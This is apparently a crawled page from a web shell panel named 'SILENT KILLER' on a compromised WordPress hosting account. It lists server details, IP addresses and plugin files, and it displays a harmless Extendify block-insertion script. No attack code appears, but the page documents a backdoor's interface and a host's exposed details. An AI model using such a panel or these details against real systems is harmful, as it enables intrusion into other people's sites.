SILENT KILLERPanel

Current Path: > home > codekrsu > > ameliagraphics.com > wp-content > plugins > > extendify > src > PageCreator > > util


Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: /home/codekrsu//ameliagraphics.com/wp-content/plugins//extendify/src/PageCreator//util

NameTypeSizeLast ModifiedActions
insert.js File 728 bytes March 13 2025 21:10:44.
installBlocks.js File 1028 bytes May 12 2025 16:42:28.
replaceThemeVariables.js File 2503 bytes May 12 2025 16:42:28.
syncPageTitleTemplate.js File 619 bytes July 16 2025 19:39:24.

Reading File: /home/codekrsu//ameliagraphics.com/wp-content/plugins//extendify/src/PageCreator//util/insert.js

import { dispatch, select } from '@wordpress/data';

export const insertBlocks = async (blocks) => {
	const { insertBlocks, replaceBlock } = dispatch('core/block-editor');
	const {
		getSelectedBlock,
		getBlockHierarchyRootClientId,
		getBlockIndex,
		getGlobalBlockCount,
	} = select('core/block-editor');

	const { clientId, name, attributes } = getSelectedBlock() || {};
	const rootClientId = clientId ? getBlockHierarchyRootClientId(clientId) : '';
	const insertPointIndex =
		(rootClientId ? getBlockIndex(rootClientId) : getGlobalBlockCount()) + 1;

	if (name === 'core/paragraph' && attributes?.content === '') {
		return await replaceBlock(clientId, blocks);
	}
	return await insertBlocks(blocks, insertPointIndex);
};

SILENT KILLER Tool